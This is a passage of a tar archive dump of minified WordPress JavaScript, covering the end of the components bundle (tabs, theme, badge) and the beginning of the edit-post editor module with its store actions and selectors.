${t};`)).join("");return[Nl("--wp-components-color-accent:",e.accent,";--wp-components-color-accent-darker-10:",e.accentDarker10,";--wp-components-color-accent-darker-20:",e.accentDarker20,";--wp-components-color-accent-inverted:",e.accentInverted,";--wp-components-color-background:",e.background,";--wp-components-color-foreground:",e.foreground,";--wp-components-color-foreground-inverted:",e.foregroundInverted,";",t,";","")]})(S$({accent:e,background:t})),n)),[e,t,n,o]);return(0,_t.jsx)(_$,{className:i,...r})},N$=(0,c.createContext)(void 0),T$=()=>(0,c.useContext)(N$);const I$=yl(QL,{target:"enfox0g4"})("display:flex;align-items:stretch;overflow-x:auto;&[aria-orientation='vertical']{flex-direction:column;}:where( [aria-orientation='horizontal'] ){width:fit-content;}--direction-factor:1;--direction-start:left;--direction-end:right;--selected-start:var( --selected-left, 0 );&:dir( rtl ){--direction-factor:-1;--direction-start:right;--direction-end:left;--selected-start:var( --selected-right, 0 );}@media not ( prefers-reduced-motion ){&[data-indicator-animated]::before{transition-property:transform,border-radius,border-block;transition-duration:0.2s;transition-timing-function:ease-out;}}position:relative;&::before{content:'';position:absolute;pointer-events:none;transform-origin:var( --direction-start ) top;outline:2px solid transparent;outline-offset:-1px;}--antialiasing-factor:100;&[aria-orientation='horizontal']{--fade-width:4rem;--fade-gradient-base:transparent 0%,black var( --fade-width );--fade-gradient-composed:var( --fade-gradient-base ),black 60%,transparent 50%;&.is-overflowing-first{mask-image:linear-gradient(\n\t\t\t\tto var( --direction-end ),\n\t\t\t\tvar( --fade-gradient-base )\n\t\t\t);}&.is-overflowing-last{mask-image:linear-gradient(\n\t\t\t\tto var( --direction-start ),\n\t\t\t\tvar( --fade-gradient-base )\n\t\t\t);}&.is-overflowing-first.is-overflowing-last{mask-image:linear-gradient(\n\t\t\t\t\tto right,\n\t\t\t\t\tvar( --fade-gradient-composed )\n\t\t\t\t),linear-gradient( to left, var( --fade-gradient-composed ) );}&::before{bottom:0;height:0;width:calc( var( --antialiasing-factor ) * 1px );transform:translateX(\n\t\t\t\t\tcalc(\n\t\t\t\t\t\tvar( --selected-start ) * var( --direction-factor ) *\n\t\t\t\t\t\t\t1px\n\t\t\t\t\t)\n\t\t\t\t) scaleX(\n\t\t\t\t\tcalc(\n\t\t\t\t\t\tvar( --selected-width, 0 ) /\n\t\t\t\t\t\t\tvar( --antialiasing-factor )\n\t\t\t\t\t)\n\t\t\t\t);border-bottom:var( --wp-admin-border-width-focus ) solid ",zl.theme.accent,";}}&[aria-orientation='vertical']{&::before{border-radius:",Fl.radiusSmall,"/calc(\n\t\t\t\t\t",Fl.radiusSmall," /\n\t\t\t\t\t\t(\n\t\t\t\t\t\t\tvar( --selected-height, 0 ) /\n\t\t\t\t\t\t\t\tvar( --antialiasing-factor )\n\t\t\t\t\t\t)\n\t\t\t\t);top:0;left:0;width:100%;height:calc( var( --antialiasing-factor ) * 1px );transform:translateY( calc( var( --selected-top, 0 ) * 1px ) ) scaleY(\n\t\t\t\t\tcalc(\n\t\t\t\t\t\tvar( --selected-height, 0 ) /\n\t\t\t\t\t\t\tvar( --antialiasing-factor )\n\t\t\t\t\t)\n\t\t\t\t);background-color:color-mix(\n\t\t\t\tin srgb,\n\t\t\t\t",zl.theme.accent,",\n\t\t\t\ttransparent 96%\n\t\t\t);}&[data-select-on-move='true']:has(\n\t\t\t\t:is( :focus-visible, [data-focus-visible] )\n\t\t\t)::before{box-sizing:border-box;border:var( --wp-admin-border-width-focus ) solid ",zl.theme.accent,";border-block-width:calc(\n\t\t\t\tvar( --wp-admin-border-width-focus, 1px ) /\n\t\t\t\t\t(\n\t\t\t\t\t\tvar( --selected-height, 0 ) /\n\t\t\t\t\t\t\tvar( --antialiasing-factor )\n\t\t\t\t\t)\n\t\t\t);}}"),R$=yl(eF,{target:"enfox0g3"})("&{border-radius:0;background:transparent;border:none;box-shadow:none;flex:1 0 auto;white-space:nowrap;display:flex;align-items:center;cursor:pointer;line-height:1.2;font-weight:400;color:",zl.theme.foreground,";position:relative;&[aria-disabled='true']{cursor:default;color:",zl.ui.textDisabled,";}&:not( [aria-disabled='true'] ):is( :hover, [data-focus-visible] ){color:",zl.theme.accent,";}&:focus:not( :disabled ){box-shadow:none;outline:none;}&::after{position:absolute;pointer-events:none;outline:var( --wp-admin-border-width-focus ) solid ",zl.theme.accent,";border-radius:",Fl.radiusSmall,";opacity:0;@media not ( prefers-reduced-motion ){transition:opacity 0.1s linear;}}&[data-focus-visible]::after{opacity:1;}}[aria-orientation='horizontal'] &{padding-inline:",Il(4),";height:",Il(12),";scroll-margin:24px;&::after{content:'';inset:",Il(3),";}}[aria-orientation='vertical'] &{padding:",Il(2)," ",Il(3),";min-height:",Il(10),";&[aria-selected='true']{color:",zl.theme.accent,";fill:currentColor;}}[aria-orientation='vertical'][data-select-on-move='false'] &::after{content:'';inset:var( --wp-admin-border-width-focus );}"),M$=yl("span",{target:"enfox0g2"})({name:"9at4z3",styles:"flex-grow:1;display:flex;align-items:center;[aria-orientation='horizontal'] &{justify-content:center;}[aria-orientation='vertical'] &{justify-content:start;}"}),A$=yl(Xx,{target:"enfox0g1"})("flex-shrink:0;margin-inline-end:",Il(-1),";[aria-orientation='horizontal'] &{display:none;}opacity:0;[role='tab']:is( [aria-selected='true'], [data-focus-visible], :hover ) &{opacity:1;}@media not ( prefers-reduced-motion ){[data-select-on-move='true'] [role='tab']:is( [aria-selected='true'], ) &{transition:opacity 0.15s 0.15s linear;}}&:dir( rtl ){rotate:180deg;}"),D$=yl(nF,{target:"enfox0g0"})("&:focus{box-shadow:none;outline:none;}&[data-focus-visible]{box-shadow:0 0 0 var( --wp-admin-border-width-focus ) ",zl.theme.accent,";outline:2px solid transparent;outline-offset:0;}"),z$=(0,c.forwardRef)((function({children:e,tabId:t,disabled:n,render:r,...o},i){var s;const{store:a,instanceId:l}=null!==(s=T$())&&void 0!==s?s:{};if(!a)return null;const c=`${l}-${t}`;return(0,_t.jsxs)(R$,{ref:i,store:a,id:c,disabled:n,render:r,...o,children:[(0,_t.jsx)(M$,{children:e}),(0,_t.jsx)(A$,{icon:GD})]})}));const O$=(0,c.forwardRef)((function({children:e,...t},n){var r;const{store:o}=null!==(r=T$())&&void 0!==r?r:{},i=et(o,"selectedId"),a=et(o,"activeId"),u=et(o,"selectOnMove"),d=et(o,"items"),[p,f]=(0,c.useState)(),h=(0,l.useMergeRefs)([n,f]),m=o?.item(i),g=et(o,"renderedItems"),v=g&&m?g.indexOf(m):-1,b=g_(m?.element,[v]),x=function(e,t){const[n,r]=(0,c.useState)(!1),[o,i]=(0,c.useState)(!1),[s,a]=(0,c.useState)(),u=(0,l.useEvent)((e=>{for(const n of e)n.target===t.first&&r(!n.isIntersecting),n.target===t.last&&i(!n.isIntersecting)}));return(0,c.useEffect)((()=>{if(!e||!window.IntersectionObserver)return;const t=new IntersectionObserver(u,{root:e,threshold:.9});return a(t),()=>t.disconnect()}),[u,e]),(0,c.useEffect)((()=>{if(s)return t.first&&s.observe(t.first),t.last&&s.observe(t.last),()=>{t.first&&s.unobserve(t.first),t.last&&s.unobserve(t.last)}}),[t.first,t.last,s]),{first:n,last:o}}(p,{first:d?.at(0)?.element,last:d?.at(-1)?.element});v_(p,b,{prefix:"selected",dataAttribute:"indicator-animated",transitionEndFilter:e=>"::before"===e.pseudoElement,roundRect:!0}),function(e,t,{margin:n=24}={}){(0,c.useLayoutEffect)((()=>{if(!e||!t)return;const{scrollLeft:r}=e,o=e.getBoundingClientRect().width,{left:i,width:s}=t,a=i+s+n-(r+o),l=r-(i-n);let c=null;l>0?c=r-l:a>0&&(c=r+a),null!==c&&e.scroll?.({left:c})}),[n,e,t])}(p,b);return o?(0,_t.jsx)(I$,{ref:h,store:o,render:e=>{var t;return(0,_t.jsx)("div",{...e,tabIndex:null!==(t=e.tabIndex)&&void 0!==t?t:-1})},onBlur:()=>{u&&i!==a&&o?.setActiveId(i)},"data-select-on-move":u?"true":"false",...t,className:s(x.first&&"is-overflowing-first",x.last&&"is-overflowing-last",t.className),children:e}):null})),L$=(0,c.forwardRef)((function({children:e,tabId:t,focusable:n=!0,...r},o){const i=T$(),s=et(i?.store,"selectedId");if(!i)return null;const{store:a,instanceId:l}=i,c=`${l}-${t}`;return(0,_t.jsx)(D$,{ref:o,store:a,id:`${c}-view`,tabId:c,focusable:n,...r,children:s===c&&e})}));function F$(e,t){return e&&`${t}-${e}`}function B$(e,t){return"string"==typeof e?e.replace(`${t}-`,""):e}const V$=Object.assign((function e({selectOnMove:t=!0,defaultTabId:n,orientation:r="horizontal",onSelect:o,children:i,selectedTabId:s,activeTabId:u,defaultActiveTabId:d,onActiveTabIdChange:p}){const f=(0,l.useInstanceId)(e,"tabs"),h=GL({selectOnMove:t,orientation:r,defaultSelectedId:F$(n,f),setSelectedId:e=>{o?.(B$(e,f))},selectedId:F$(s,f),defaultActiveId:F$(d,f),setActiveId:e=>{p?.(B$(e,f))},activeId:F$(u,f),rtl:(0,a.isRTL)()}),{items:m,activeId:g}=et(h),{setActiveId:v}=h;(0,c.useEffect)((()=>{requestAnimationFrame((()=>{const e=m?.[0]?.element?.ownerDocument.activeElement;e&&m.some((t=>e===t.element))&&g!==e.id&&v(e.id)}))}),[g,m,v]);const b=(0,c.useMemo)((()=>({store:h,instanceId:f})),[h,f]);return(0,_t.jsx)(N$.Provider,{value:b,children:i})}),{Tab:Object.assign(z$,{displayName:"Tabs.Tab"}),TabList:Object.assign(O$,{displayName:"Tabs.TabList"}),TabPanel:Object.assign(L$,{displayName:"Tabs.TabPanel"}),Context:Object.assign(N$,{displayName:"Tabs.Context"})}),$$=window.wp.privateApis,{lock:H$,unlock:W$}=(0,$$.__dangerousOptInToUnstableAPIsOnlyForCoreModules)("I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.","@wordpress/components"),U$=(0,_t.jsx)(n.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,_t.jsx)(n.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M5.5 12a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0ZM12 4a8 8 0 1 0 0 16 8 8 0 0 0 0-16Zm.75 4v1.5h-1.5V8h1.5Zm0 8v-5h-1.5v5h1.5Z"})}),G$=(0,_t.jsx)(n.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,_t.jsx)(n.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm11.53-1.47-1.06-1.06L11 12.94l-1.47-1.47-1.06 1.06L11 15.06l4.53-4.53Z"})}),K$=(0,_t.jsx)(n.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,_t.jsx)(n.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M5.5 12a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0ZM12 4a8 8 0 1 0 0 16 8 8 0 0 0 0-16Zm-.75 12v-1.5h1.5V16h-1.5Zm0-8v5h1.5V8h-1.5Z"})}),q$=(0,_t.jsx)(n.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,_t.jsx)(n.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M12.218 5.377a.25.25 0 0 0-.436 0l-7.29 12.96a.25.25 0 0 0 .218.373h14.58a.25.25 0 0 0 .218-.372l-7.29-12.96Zm-1.743-.735c.669-1.19 2.381-1.19 3.05 0l7.29 12.96a1.75 1.75 0 0 1-1.525 2.608H4.71a1.75 1.75 0 0 1-1.525-2.608l7.29-12.96ZM12.75 17.46h-1.5v-1.5h1.5v1.5Zm-1.5-3h1.5v-5h-1.5v5Z"})});const Y$=function({className:e,intent:t="default",children:n,...r}){const o=function(e="default"){switch(e){case"info":return U$;case"success":return G$;case"warning":return K$;case"error":return q$;default:return null}}(t),i=!!o;return(0,_t.jsxs)("span",{className:s("components-badge",e,{[`is-${t}`]:t,"has-icon":i}),...r,children:[i&&(0,_t.jsx)(Xx,{icon:o,size:16,fill:"currentColor",className:"components-badge__icon"}),(0,_t.jsx)("span",{className:"components-badge__content",children:n})]})},X$={};H$(X$,{__experimentalPopoverLegacyPositionToPlacement:Ji,ComponentsContext:hs,Tabs:V$,Theme:P$,Menu:w$,kebabCase:Ty,withIgnoreIMEEvents:jx,Badge:Y$})})(),(window.wp=window.wp||{}).components=i})(); edit-post.min.js 0000664 00000122427 15061233506 0007607 0 ustar 00 /*! This file is auto-generated */ (()=>{"use strict";var e={n:t=>{var o=t&&t.__esModule?()=>t.default:()=>t;return e.d(o,{a:o}),o},d:(t,o)=>{for(var s in o)e.o(o,s)&&!e.o(t,s)&&Object.defineProperty(t,s,{enumerable:!0,get:o[s]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};e.r(t),e.d(t,{PluginBlockSettingsMenuItem:()=>Gt,PluginDocumentSettingPanel:()=>Ut,PluginMoreMenuItem:()=>Vt,PluginPostPublishPanel:()=>qt,PluginPostStatusInfo:()=>Wt,PluginPrePublishPanel:()=>Ht,PluginSidebar:()=>Qt,PluginSidebarMoreMenuItem:()=>Xt,__experimentalFullscreenModeClose:()=>I,__experimentalMainDashboardButton:()=>$t,__experimentalPluginPostExcerpt:()=>Zt,initializeEditor:()=>Kt,reinitializeEditor:()=>Jt,store:()=>Je});var o={};e.r(o),e.d(o,{__experimentalSetPreviewDeviceType:()=>ge,__unstableCreateTemplate:()=>_e,closeGeneralSidebar:()=>X,closeModal:()=>$,closePublishSidebar:()=>K,hideBlockTypes:()=>ce,initializeMetaBoxes:()=>ye,metaBoxUpdatesFailure:()=>ue,metaBoxUpdatesSuccess:()=>pe,openGeneralSidebar:()=>Q,openModal:()=>Z,openPublishSidebar:()=>Y,removeEditorPanel:()=>oe,requestMetaBoxUpdates:()=>de,setAvailableMetaBoxesPerLocation:()=>le,setIsEditingTemplate:()=>we,setIsInserterOpened:()=>me,setIsListViewOpened:()=>he,showBlockTypes:()=>ae,switchEditorMode:()=>ie,toggleDistractionFree:()=>be,toggleEditorPanelEnabled:()=>ee,toggleEditorPanelOpened:()=>te,toggleFeature:()=>se,toggleFullscreenMode:()=>xe,togglePinnedPluginItem:()=>re,togglePublishSidebar:()=>J,updatePreferredStyleVariations:()=>ne});var s={};e.r(s),e.d(s,{__experimentalGetInsertionPoint:()=>Xe,__experimentalGetPreviewDeviceType:()=>We,areMetaBoxesInitialized:()=>Ye,getActiveGeneralSidebarName:()=>ke,getActiveMetaBoxLocations:()=>Fe,getAllMetaBoxes:()=>Ve,getEditedPostTemplate:()=>Ke,getEditorMode:()=>Ee,getHiddenBlockTypes:()=>Ie,getMetaBoxesPerLocation:()=>Ue,getPreference:()=>Be,getPreferences:()=>Te,hasMetaBoxes:()=>He,isEditingTemplate:()=>$e,isEditorPanelEnabled:()=>Ce,isEditorPanelOpened:()=>De,isEditorPanelRemoved:()=>Re,isEditorSidebarOpened:()=>Me,isFeatureActive:()=>Ne,isInserterOpened:()=>Qe,isListViewOpened:()=>Ze,isMetaBoxLocationActive:()=>Ge,isMetaBoxLocationVisible:()=>ze,isModalActive:()=>Oe,isPluginItemPinned:()=>Le,isPluginSidebarOpened:()=>je,isPublishSidebarOpened:()=>Ae,isSavingMetaBoxes:()=>qe});const i=window.wp.blocks,r=window.wp.blockLibrary,n=window.wp.deprecated;var a=e.n(n);const c=window.wp.element,l=window.wp.data,d=window.wp.preferences,p=window.wp.widgets,u=window.wp.editor;function g(e){var t,o,s="";if("string"==typeof e||"number"==typeof e)s+=e;else if("object"==typeof e)if(Array.isArray(e)){var i=e.length;for(t=0;t<i;t++)e[t]&&(o=g(e[t]))&&(s&&(s+=" "),s+=o)}else for(o in e)e[o]&&(s&&(s+=" "),s+=o);return s}const m=function(){for(var e,t,o=0,s="",i=arguments.length;o<i;o++)(e=arguments[o])&&(t=g(e))&&(s&&(s+=" "),s+=t);return s},h=window.wp.blockEditor,w=window.wp.plugins,_=window.wp.i18n,f=window.wp.primitives,y=window.ReactJSXRuntime,b=(0,y.jsx)(f.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,y.jsx)(f.Path,{d:"M6.5 12.4L12 8l5.5 4.4-.9 1.2L12 10l-4.5 3.6-1-1.2z"})}),x=(0,y.jsx)(f.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,y.jsx)(f.Path,{d:"M17.5 11.6L12 16l-5.5-4.4.9-1.2L12 14l4.5-3.6 1 1.2z"})}),v=window.wp.notices,S=window.wp.commands,P=window.wp.coreCommands,E=window.wp.url,M=window.wp.htmlEntities,j=window.wp.coreData,k=window.wp.components,T=window.wp.compose,B=(0,y.jsx)(f.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"-2 -2 24 24",children:(0,y.jsx)(f.Path,{d:"M20 10c0-5.51-4.49-10-10-10C4.48 0 0 4.49 0 10c0 5.52 4.48 10 10 10 5.51 0 10-4.48 10-10zM7.78 15.37L4.37 6.22c.55-.02 1.17-.08 1.17-.08.5-.06.44-1.13-.06-1.11 0 0-1.45.11-2.37.11-.18 0-.37 0-.58-.01C4.12 2.69 6.87 1.11 10 1.11c2.33 0 4.45.87 6.05 2.34-.68-.11-1.65.39-1.65 1.58 0 .74.45 1.36.9 2.1.35.61.55 1.36.55 2.46 0 1.49-1.4 5-1.4 5l-3.03-8.37c.54-.02.82-.17.82-.17.5-.05.44-1.25-.06-1.22 0 0-1.44.12-2.38.12-.87 0-2.33-.12-2.33-.12-.5-.03-.56 1.2-.06 1.22l.92.08 1.26 3.41zM17.41 10c.24-.64.74-1.87.43-4.25.7 1.29 1.05 2.71 1.05 4.25 0 3.29-1.73 6.24-4.4 7.78.97-2.59 1.94-5.2 2.92-7.78zM6.1 18.09C3.12 16.65 1.11 13.53 1.11 10c0-1.3.23-2.48.72-3.59C3.25 10.3 4.67 14.2 6.1 18.09zm4.03-6.63l2.58 6.98c-.86.29-1.76.45-2.71.45-.79 0-1.57-.11-2.29-.33.81-2.38 1.62-4.74 2.42-7.1z"})});const I=function({showTooltip:e,icon:t,href:o,initialPost:s}){var i;const{isRequestingSiteIcon:r,postType:n,siteIconUrl:a}=(0,l.useSelect)((e=>{const{getCurrentPostType:t}=e(u.store),{getEntityRecord:o,getPostType:i,isResolving:r}=e(j.store),n=o("root","__unstableBase",void 0)||{},a=s?.type||t();return{isRequestingSiteIcon:r("getEntityRecord",["root","__unstableBase",void 0]),postType:i(a),siteIconUrl:n.site_icon_url}}),[]),c=(0,T.useReducedMotion)();if(!n)return null;let d=(0,y.jsx)(k.Icon,{size:"36px",icon:B});const p={expand:{scale:1.25,transition:{type:"tween",duration:"0.3"}}};a&&(d=(0,y.jsx)(k.__unstableMotion.img,{variants:!c&&p,alt:(0,_.__)("Site Icon"),className:"edit-post-fullscreen-mode-close_site-icon",src:a})),r&&(d=null),t&&(d=(0,y.jsx)(k.Icon,{size:"36px",icon:t}));const g=m("edit-post-fullscreen-mode-close",{"has-icon":a}),h=null!=o?o:(0,E.addQueryArgs)("edit.php",{post_type:n.slug}),w=null!==(i=n?.labels?.view_items)&&void 0!==i?i:(0,_.__)("Back");return(0,y.jsx)(k.__unstableMotion.div,{whileHover:"expand",children:(0,y.jsx)(k.Button,{__next40pxDefaultSize:!0,className:g,href:h,label:w,showTooltip:e,children:d})})},A=window.wp.privateApis,{lock:R,unlock:C}=(0,A.__dangerousOptInToUnstableAPIsOnlyForCoreModules)("I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.","@wordpress/edit-post"),{BackButton:D}=C(u.privateApis),O={hidden:{x:"-100%"},distractionFreeInactive:{x:0},hover:{x:0,transition:{type:"tween",delay:.2}}};const N=function({initialPost:e}){return(0,y.jsx)(D,{children:({length:t})=>t<=1&&(0,y.jsx)(k.__unstableMotion.div,{variants:O,transition:{type:"tween",delay:.8},children:(0,y.jsx)(I,{showTooltip:!0,initialPost:e})})})};function L(){return(()=>{const{newPermalink:e}=(0,l.useSelect)((e=>({newPermalink:e(u.store).getCurrentPost().link})),[]),t=(0,c.useRef)();(0,c.useEffect)((()=>{t.current=document.querySelector("#wp-admin-bar-preview a")||document.querySelector("#wp-admin-bar-view a")}),[]),(0,c.useEffect)((()=>{e&&t.current&&t.current.setAttribute("href",e)}),[e])})(),null}const F=window.wp.keyboardShortcuts;function z(e=[],t){const o=[...e];for(const e of t){const t=o.findIndex((t=>t.id===e.id));-1!==t?o[t]=e:o.push(e)}return o}const G=(0,l.combineReducers)({isSaving:function(e=!1,t){switch(t.type){case"REQUEST_META_BOX_UPDATES":return!0;case"META_BOX_UPDATES_SUCCESS":case"META_BOX_UPDATES_FAILURE":return!1;default:return e}},locations:function(e={},t){if("SET_META_BOXES_PER_LOCATIONS"===t.type){const o={...e};for(const[e,s]of Object.entries(t.metaBoxesPerLocation))o[e]=z(o[e],s);return o}return e},initialized:function(e=!1,t){return"META_BOXES_INITIALIZED"===t.type||e}}),U=(0,l.combineReducers)({metaBoxes:G}),V=window.wp.apiFetch;var H=e.n(V);const q=window.wp.hooks,{interfaceStore:W}=C(u.privateApis),Q=e=>({registry:t})=>{t.dispatch(W).enableComplementaryArea("core",e)},X=()=>({registry:e})=>e.dispatch(W).disableComplementaryArea("core"),Z=e=>({registry:t})=>(a()("select( 'core/edit-post' ).openModal( name )",{since:"6.3",alternative:"select( 'core/interface').openModal( name )"}),t.dispatch(W).openModal(e)),$=()=>({registry:e})=>(a()("select( 'core/edit-post' ).closeModal()",{since:"6.3",alternative:"select( 'core/interface').closeModal()"}),e.dispatch(W).closeModal()),Y=()=>({registry:e})=>{a()("dispatch( 'core/edit-post' ).openPublishSidebar",{since:"6.6",alternative:"dispatch( 'core/editor').openPublishSidebar"}),e.dispatch(u.store).openPublishSidebar()},K=()=>({registry:e})=>{a()("dispatch( 'core/edit-post' ).closePublishSidebar",{since:"6.6",alternative:"dispatch( 'core/editor').closePublishSidebar"}),e.dispatch(u.store).closePublishSidebar()},J=()=>({registry:e})=>{a()("dispatch( 'core/edit-post' ).togglePublishSidebar",{since:"6.6",alternative:"dispatch( 'core/editor').togglePublishSidebar"}),e.dispatch(u.store).togglePublishSidebar()},ee=e=>({registry:t})=>{a()("dispatch( 'core/edit-post' ).toggleEditorPanelEnabled",{since:"6.5",alternative:"dispatch( 'core/editor').toggleEditorPanelEnabled"}),t.dispatch(u.store).toggleEditorPanelEnabled(e)},te=e=>({registry:t})=>{a()("dispatch( 'core/edit-post' ).toggleEditorPanelOpened",{since:"6.5",alternative:"dispatch( 'core/editor').toggleEditorPanelOpened"}),t.dispatch(u.store).toggleEditorPanelOpened(e)},oe=e=>({registry:t})=>{a()("dispatch( 'core/edit-post' ).removeEditorPanel",{since:"6.5",alternative:"dispatch( 'core/editor').removeEditorPanel"}),t.dispatch(u.store).removeEditorPanel(e)},se=e=>({registry:t})=>t.dispatch(d.store).toggle("core/edit-post",e),ie=e=>({registry:t})=>{a()("dispatch( 'core/edit-post' ).switchEditorMode",{since:"6.6",alternative:"dispatch( 'core/editor').switchEditorMode"}),t.dispatch(u.store).switchEditorMode(e)},re=e=>({registry:t})=>{const o=t.select(W).isItemPinned("core",e);t.dispatch(W)[o?"unpinItem":"pinItem"]("core",e)};function ne(){return a()("dispatch( 'core/edit-post' ).updatePreferredStyleVariations",{since:"6.6",hint:"Preferred Style Variations are not supported anymore."}),{type:"NOTHING"}}const ae=e=>({registry:t})=>{C(t.dispatch(u.store)).showBlockTypes(e)},ce=e=>({registry:t})=>{C(t.dispatch(u.store)).hideBlockTypes(e)};function le(e){return{type:"SET_META_BOXES_PER_LOCATIONS",metaBoxesPerLocation:e}}const de=()=>async({registry:e,select:t,dispatch:o})=>{o({type:"REQUEST_META_BOX_UPDATES"}),window.tinyMCE&&window.tinyMCE.triggerSave();const s=new window.FormData(document.querySelector(".metabox-base-form")),i=s.get("post_ID"),r=s.get("post_type"),n=e.select(j.store).getEditedEntityRecord("postType",r,i),a=[!!n.comment_status&&["comment_status",n.comment_status],!!n.ping_status&&["ping_status",n.ping_status],!!n.sticky&&["sticky",n.sticky],!!n.author&&["post_author",n.author]].filter(Boolean),c=[s,...t.getActiveMetaBoxLocations().map((e=>new window.FormData((e=>{const t=document.querySelector(`.edit-post-meta-boxes-area.is-${e} .metabox-location-${e}`);return t||document.querySelector("#metaboxes .metabox-location-"+e)})(e))))].reduce(((e,t)=>{for(const[o,s]of t)e.append(o,s);return e}),new window.FormData);a.forEach((([e,t])=>c.append(e,t)));try{await H()({url:window._wpMetaBoxUrl,method:"POST",body:c,parse:!1}),o.metaBoxUpdatesSuccess()}catch{o.metaBoxUpdatesFailure()}};function pe(){return{type:"META_BOX_UPDATES_SUCCESS"}}function ue(){return{type:"META_BOX_UPDATES_FAILURE"}}const ge=e=>({registry:t})=>{a()("dispatch( 'core/edit-post' ).__experimentalSetPreviewDeviceType",{since:"6.5",version:"6.7",hint:"registry.dispatch( editorStore ).setDeviceType"}),t.dispatch(u.store).setDeviceType(e)},me=e=>({registry:t})=>{a()("dispatch( 'core/edit-post' ).setIsInserterOpened",{since:"6.5",alternative:"dispatch( 'core/editor').setIsInserterOpened"}),t.dispatch(u.store).setIsInserterOpened(e)},he=e=>({registry:t})=>{a()("dispatch( 'core/edit-post' ).setIsListViewOpened",{since:"6.5",alternative:"dispatch( 'core/editor').setIsListViewOpened"}),t.dispatch(u.store).setIsListViewOpened(e)};function we(){return a()("dispatch( 'core/edit-post' ).setIsEditingTemplate",{since:"6.5",alternative:"dispatch( 'core/editor').setRenderingMode"}),{type:"NOTHING"}}function _e(){return a()("dispatch( 'core/edit-post' ).__unstableCreateTemplate",{since:"6.5"}),{type:"NOTHING"}}let fe=!1;const ye=()=>({registry:e,select:t,dispatch:o})=>{if(!e.select(u.store).__unstableIsEditorReady())return;if(fe)return;const s=e.select(u.store).getCurrentPostType();window.postboxes.page!==s&&window.postboxes.add_postbox_toggles(s),fe=!0,(0,q.addAction)("editor.savePost","core/edit-post/save-metaboxes",(async(e,s)=>{!s.isAutosave&&t.hasMetaBoxes()&&await o.requestMetaBoxUpdates()})),o({type:"META_BOXES_INITIALIZED"})},be=()=>({registry:e})=>{a()("dispatch( 'core/edit-post' ).toggleDistractionFree",{since:"6.6",alternative:"dispatch( 'core/editor').toggleDistractionFree"}),e.dispatch(u.store).toggleDistractionFree()},xe=()=>({registry:e})=>{const t=e.select(d.store).get("core/edit-post","fullscreenMode");e.dispatch(d.store).toggle("core/edit-post","fullscreenMode"),e.dispatch(v.store).createInfoNotice(t?(0,_.__)("Fullscreen mode deactivated."):(0,_.__)("Fullscreen mode activated."),{id:"core/edit-post/toggle-fullscreen-mode/notice",type:"snackbar",actions:[{label:(0,_.__)("Undo"),onClick:()=>{e.dispatch(d.store).toggle("core/edit-post","fullscreenMode")}}]})},{interfaceStore:ve}=C(u.privateApis),Se=[],Pe={},Ee=(0,l.createRegistrySelector)((e=>()=>{var t;return null!==(t=e(d.store).get("core","editorMode"))&&void 0!==t?t:"visual"})),Me=(0,l.createRegistrySelector)((e=>()=>{const t=e(ve).getActiveComplementaryArea("core");return["edit-post/document","edit-post/block"].includes(t)})),je=(0,l.createRegistrySelector)((e=>()=>{const t=e(ve).getActiveComplementaryArea("core");return!!t&&!["edit-post/document","edit-post/block"].includes(t)})),ke=(0,l.createRegistrySelector)((e=>()=>e(ve).getActiveComplementaryArea("core")));const Te=(0,l.createRegistrySelector)((e=>()=>{a()("select( 'core/edit-post' ).getPreferences",{since:"6.0",alternative:"select( 'core/preferences' ).get"});const t=["editorMode","hiddenBlockTypes"].reduce(((t,o)=>{const s=e(d.store).get("core",o);return{...t,[o]:s}}),{}),o=function(e,t){var o;const s=e?.reduce(((e,t)=>({...e,[t]:{enabled:!1}})),{}),i=t?.reduce(((e,t)=>{const o=e?.[t];return{...e,[t]:{...o,opened:!0}}}),null!=s?s:{});return null!==(o=null!=i?i:s)&&void 0!==o?o:Pe}(e(d.store).get("core","inactivePanels"),e(d.store).get("core","openPanels"));return{...t,panels:o}}));function Be(e,t,o){a()("select( 'core/edit-post' ).getPreference",{since:"6.0",alternative:"select( 'core/preferences' ).get"});const s=Te(e)[t];return void 0===s?o:s}const Ie=(0,l.createRegistrySelector)((e=>()=>{var t;return null!==(t=e(d.store).get("core","hiddenBlockTypes"))&&void 0!==t?t:Se})),Ae=(0,l.createRegistrySelector)((e=>()=>(a()("select( 'core/edit-post' ).isPublishSidebarOpened",{since:"6.6",alternative:"select( 'core/editor' ).isPublishSidebarOpened"}),e(u.store).isPublishSidebarOpened()))),Re=(0,l.createRegistrySelector)((e=>(t,o)=>(a()("select( 'core/edit-post' ).isEditorPanelRemoved",{since:"6.5",alternative:"select( 'core/editor' ).isEditorPanelRemoved"}),e(u.store).isEditorPanelRemoved(o)))),Ce=(0,l.createRegistrySelector)((e=>(t,o)=>(a()("select( 'core/edit-post' ).isEditorPanelEnabled",{since:"6.5",alternative:"select( 'core/editor' ).isEditorPanelEnabled"}),e(u.store).isEditorPanelEnabled(o)))),De=(0,l.createRegistrySelector)((e=>(t,o)=>(a()("select( 'core/edit-post' ).isEditorPanelOpened",{since:"6.5",alternative:"select( 'core/editor' ).isEditorPanelOpened"}),e(u.store).isEditorPanelOpened(o)))),Oe=(0,l.createRegistrySelector)((e=>(t,o)=>(a()("select( 'core/edit-post' 